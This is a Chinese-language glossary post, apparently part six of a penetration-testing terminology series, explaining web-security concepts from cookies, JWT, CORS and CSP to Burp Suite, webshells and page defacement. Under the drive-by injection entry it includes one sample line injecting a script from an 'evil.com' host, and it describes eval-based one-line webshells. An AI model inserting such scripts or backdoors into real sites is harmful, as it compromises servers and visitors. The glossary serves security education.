🌐 前言：Web安全的"武器、规则与战场"
Web是渗透测试的主战场。要在此作战，不仅要懂攻击漏洞（如上一篇所述），更要理解支撑Web运行的基础身份机制 、浏览器安全规则 以及攻防双方使用的具体工具与载荷。本篇将深入Web安全的"皮下组织"，从维持登录状态的Cookie，到攻击者留下的Webshell，再到防御者的CSP策略，为你揭示这个战场的完整规则与装备图景。
🔹 1. Cookie
🟦 通俗解释
网站存放在你浏览器里的 "小纸条"或"记忆卡片"。用于记录你的登录状态、偏好设置等，每次访问网站时浏览器都会自动出示它，让网站"记住"你是谁。
🟧 专业解释
由Web服务器通过HTTP响应头Set-Cookie发送到客户端浏览器的一小段数据。浏览器会将其存储，并在后续向同一服务器发起的请求中通过Cookie头自动携带。它是实现无状态 HTTP协议下会话管理的关键，但可能成为XSS攻击窃取的目标。
🔹 2. Session
🟦 通俗解释
服务器端为你本次访问创建的 "临时档案袋" 。你的身份信息、操作记录等安全地存放在服务器上，而Cookie里只存放一个能打开这个档案袋的"钥匙"------Session ID。
🟧 专业解释
服务器为维护特定用户会话状态而创建的数据结构。Session数据存储在服务器内存或数据库中，客户端仅保存一个唯一的Session ID（通常通过Cookie传递）。比将数据直接存于Cookie更安全。
🔹 3. Token（通常指Access Token）
🟦 通俗解释
一个代表访问权限的 "数字令牌" （常为一串加密字符串）。你登录后获得它，之后每次请求API时出示它，服务器验证令牌有效即允许操作，无需反复验证用户名密码。
🟧 专业解释
一种无状态的、可自包含的凭证。服务器签发后，客户端在请求中携带（通常在HTTP头部）。服务器通过验证令牌的签名和有效性来授权请求，是RESTful API和现代微服务架构中常见的身份验证方式。
🔹 4. JWT
🟦 通俗解释
Token的一种流行、标准的"格式"。它像一张被加密和签名过的"数字门票"，票面本身（Payload部分）就明文写着你的用户ID和权限，任何人都能看到但无法伪造。
🟧 专业解释
JSON Web Token，一种开放标准。它由Header、Payload、Signature三部分通过点连接组成。Payload包含声明信息，Signature用于验证消息在传递过程中未被篡改。因其自包含性，需注意令牌泄露和过期问题。
🔹 5. CORS
🟦 通俗解释
浏览器实施的 "跨域交通规则" 。它规定，来自网站A的JavaScript脚本，默认不能随意读写网站B的资源，除非网站B明确通过响应头表示"我允许网站A来访问我"。
🟧 专业解释
跨域资源共享，一种W3C标准。它通过一系列HTTP头部（如Origin, Access-Control-Allow-Origin）让服务器声明哪些外部源可以访问其资源。错误配置的CORS可能导致敏感数据泄露。
🔹 6. Origin（源）
🟦 通俗解释
一个网站的身份标识，由协议、域名、端口 三部分唯一确定。例如，https://www.example.com:443。同源策略 和CORS都是基于"源"进行比较。
🟧 专业解释
Web安全模型中的一个基本概念。浏览器的同源策略规定，只有来自相同协议、主机和端口的脚本/资源才能无限制地交互。它是防止恶意网站读取其他网站数据的基石。
🔹 7. CSP
🟦 通俗解释
网站管理员给浏览器下达的 "内容白名单指令" 。它可以告诉浏览器："只允许执行来自我自己域名下的脚本，禁止加载任何外站图片或脚本"，从而有效缓解XSS等攻击。
🟧 专业解释
内容安全策略。通过HTTP响应头Content-Security-Policy定义，用于检测并减轻特定类型的攻击，如XSS和数据注入。它允许创建可信内容来源的白名单，指示浏览器仅执行或渲染来自这些源的资源。
🔹 8. HTTP Header
🟦 通俗解释
HTTP请求和响应的 "元数据标签"或"控制信息" 。它包含了关于这次通信的大量重要信息，如客户端类型、内容类型、缓存指令、安全策略（如CSP ）和认证令牌（如Cookie）。
🟧 专业解释
HTTP报文的重要组成部分，位于起始行之后、正文之前。由键值对组成，用于传递额外的上下文和参数。渗透测试中，通过工具（如Burp Suite）查看和修改HTTP Header是分析请求、发现漏洞和构造攻击的关键。
🔹 9. Burp Suite
🟦 通俗解释
Web安全测试的 "瑞士军刀"和"手术台" 。它是一个图形化平台，集成了拦截、查看、修改、重放HTTP/HTTPS请求的所有功能，是手工挖掘Web漏洞的核心工具。
🟧 专业解释
一个用于测试Web应用程序安全性的集成平台。其核心功能是一个拦截代理，允许测试者拦截、检查和修改客户端与服务器之间的所有请求和响应。它还包含扫描器、入侵工具、中继器等模块。
🔹 10. Proxy / 抓包
🟦 通俗解释
- Proxy ：网络"中转站"。在安全测试中，将你的浏览器流量先导向一个代理工具（如Burp Suite ），再由其转发给目标网站，从而实现流量监控和修改。
- 抓包：指利用代理或网络嗅探工具，捕获并分析网络数据包的过程。
🟧 专业解释
代理服务器充当客户端和服务器之间的中介。在渗透测试中，配置浏览器使用本地代理，所有流量经代理转发，便于进行动态测试。抓包是分析应用行为、发现传输中敏感信息、调试漏洞的基础。
🔹 11. Webshell
🟦 通俗解释
攻击者入侵网站后，留在服务器上的一个 "网页形态的后门" 。通过访问这个特殊的网页文件，攻击者可以远程执行系统命令，控制服务器。
🟧 专业解释
一种以ASP、PHP、JSP等网页文件形式存在的命令执行环境。通常通过文件上传漏洞或其它方式植入，为攻击者提供对Web服务器的持久化访问和控制能力。
🔹 12. 一句话后门 / 小马 / 大马
🟦 通俗解释
- 一句话后门 ：非常简短的Webshell，核心功能高度浓缩，便于隐蔽上传。
- 小马 ：功能相对单一的Webshell，常用于文件管理或作为上传大马的跳板。
- 大马：功能强大的Webshell，集成图形化界面，可进行文件、数据库、用户等全面管理。
🟧 专业解释
根据功能复杂度对Webshell的俗称。一句话后门通常通过一个函数（如eval）执行接收到的代码；小马功能聚焦；大马则是一个功能齐全的Web管理工具。它们是权限维持的常见手段。
🔹 13. 挂马
🟦 通俗解释
攻击者将恶意脚本（通常是网页木马）嵌入到正常网站页面中。当用户访问该"被挂马"的页面时，就会在不知不觉中执行恶意脚本，导致中招。
🟧 专业解释
一种网站入侵后的攻击传播手段。攻击者通过篡改网站页面的HTML代码，插入指向恶意服务器脚本的链接（如<script src="http://evil.com/x.js">），利用合法网站的流量进行攻击分发。
🔹 14. 黑页
🟦 通俗解释
攻击者入侵网站后，并非窃取数据或挂马，而是替换或篡改网站首页，用以展示政治宣言、炫耀技术或声明主张的页面。
🟧 专业解释
一种以"破坏和宣称"为主要目的的攻击结果展示。通常由黑客团体所为，作为攻击成功的标志，用以提升知名度或传达信息。它是网站被完全控制的确凿证据。
🔹 15. 防爬
🟦 通俗解释
网站为防止其数据被自动化程序（爬虫 ）大量、快速地抓取而采取的各种技术对抗措施。包括验证码、请求频率限制、行为分析、数据混淆等。
🟧 专业解释
反网络爬虫技术。旨在区分正常用户访问和恶意自动化爬取，保护网站数据资产、减轻服务器负载、防止内容被竞争对手剽窃。攻防双方在此领域持续进行技术博弈。
🔹 16. 同态加密
🟦 通俗解释
一种"可以在密文上做运算"的神奇加密技术。它允许对加密后的数据直接进行计算，而得到的结果解密后，与直接对明文数据做同样计算的结果一致。这能在不泄露数据的前提下利用外部算力。
🟧 专业解释
一种特殊的加密形式。它允许对密文执行特定的代数运算，所得结果解密后，与对明文执行同样运算的结果相同。在云计算和安全多方计算等领域有巨大潜力，能实现数据"可用不可见"，但计算开销目前较大。
📌 本篇总结
本篇深入Web安全的"五脏六腑"，涵盖了从维持身份的Cookie/Session/Token ，到保障传输的CORS/CSP ，再到攻防实战的Burp Suite/Webshell ，以及前沿的同态加密。理解这些，你便掌握了Web战场上攻防双方赖以生存的"空气、水和武器"。
📘 下一篇预告
掌握了Web层的专用术语后，我们需要将视角扩展到更底层的基础设施。下一篇《渗透测试行业术语扫盲（第七篇）------ 系统、服务与配置类术语 》将聚焦服务器本身，详解SMB、SSH、RDP、补丁、CVE等与操作系统、网络服务及其安全配置密切相关的核心概念。